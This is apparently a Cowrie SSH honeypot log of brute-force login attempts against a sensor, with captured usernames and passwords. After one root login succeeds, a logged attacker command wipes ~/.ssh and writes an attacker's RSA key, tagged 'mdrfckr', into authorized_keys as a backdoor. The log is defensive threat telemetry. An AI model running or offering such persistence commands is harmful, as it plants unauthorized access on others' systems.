{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:58.899462Z","src_ip":"85.121.120.129","session":"9082bebfd46f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheller","password":"Sheller123","message":"login attempt [sheller/Sheller123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:59.075042Z","src_ip":"103.161.170.12","session":"cf49042f2280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbuser","password":"12345","message":"login attempt [dbuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:13:59.227941Z","src_ip":"85.121.120.129","session":"9082bebfd46f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:14:00.306510Z","src_ip":"85.121.120.129","session":"9082bebfd46f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:14:00.329450Z","src_ip":"103.161.170.12","session":"cf49042f2280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":36962,"dst_ip":"10.17.0.5","dst_port":22,"session":"b52d7372589f","protocol":"ssh","message":"New connection: 103.161.170.12:36962 (10.17.0.5:22) [session: b52d7372589f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:14:58.047958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:14:58.053457Z","src_ip":"103.161.170.12","session":"b52d7372589f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:14:58.299517Z","src_ip":"103.161.170.12","session":"b52d7372589f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:14:59.309429Z","src_ip":"103.161.170.12","session":"b52d7372589f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:00.560404Z","src_ip":"103.161.170.12","session":"b52d7372589f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":34728,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fb62c1c06a3","protocol":"ssh","message":"New connection: 160.22.123.78:34728 (10.17.0.5:22) [session: 3fb62c1c06a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:33.941443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:33.946965Z","src_ip":"160.22.123.78","session":"3fb62c1c06a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:34.193387Z","src_ip":"160.22.123.78","session":"3fb62c1c06a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dd","password":"123","message":"login attempt [dd/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:35.212426Z","src_ip":"160.22.123.78","session":"3fb62c1c06a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:36.460556Z","src_ip":"160.22.123.78","session":"3fb62c1c06a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":53802,"dst_ip":"10.17.0.5","dst_port":22,"session":"916e91507f60","protocol":"ssh","message":"New connection: 85.121.120.129:53802 (10.17.0.5:22) [session: 916e91507f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:40.068774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:40.072676Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:40.152971Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qq123321","message":"login attempt [root/Qq123321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:40.507221Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:40.702641Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:40.705862Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:40.709423Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:40.792037Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:40.990064Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:40.993743Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:41.079684Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:41.083577Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":53814,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f5d678be4a8","protocol":"ssh","message":"New connection: 85.121.120.129:53814 (10.17.0.5:22) [session: 0f5d678be4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:41.156410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:41.161342Z","src_ip":"85.121.120.129","session":"0f5d678be4a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:41.241521Z","src_ip":"85.121.120.129","session":"0f5d678be4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:41.595015Z","src_ip":"85.121.120.129","session":"0f5d678be4a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:42.679457Z","src_ip":"85.121.120.129","session":"0f5d678be4a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":45016,"dst_ip":"10.17.0.5","dst_port":22,"session":"e79d57267c29","protocol":"ssh","message":"New connection: 85.121.120.129:45016 (10.17.0.5:22) [session: e79d57267c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:42.756527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:42.761260Z","src_ip":"85.121.120.129","session":"e79d57267c29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:42.840593Z","src_ip":"85.121.120.129","session":"e79d57267c29","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:43.191890Z","src_ip":"85.121.120.129","session":"e79d57267c29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:43.275443Z","src_ip":"85.121.120.129","session":"916e91507f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:43.279190Z","src_ip":"85.121.120.129","session":"e79d57267c29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.147.124","src_port":60302,"dst_ip":"10.17.0.5","dst_port":22,"session":"967930637c1c","protocol":"ssh","message":"New connection: 160.187.147.124:60302 (10.17.0.5:22) [session: 967930637c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:55.128392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:55.132750Z","src_ip":"160.187.147.124","session":"967930637c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:55.383759Z","src_ip":"160.187.147.124","session":"967930637c1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pivpn","password":"pivpn@123","message":"login attempt [pivpn/pivpn@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:56.421571Z","src_ip":"160.187.147.124","session":"967930637c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:15:57.675160Z","src_ip":"160.187.147.124","session":"967930637c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":24102,"dst_ip":"10.17.0.5","dst_port":22,"session":"e06d1b9cb118","protocol":"ssh","message":"New connection: 103.161.170.12:24102 (10.17.0.5:22) [session: e06d1b9cb118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:01.959875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:01.964441Z","src_ip":"103.161.170.12","session":"e06d1b9cb118","protocol":"ssh"}
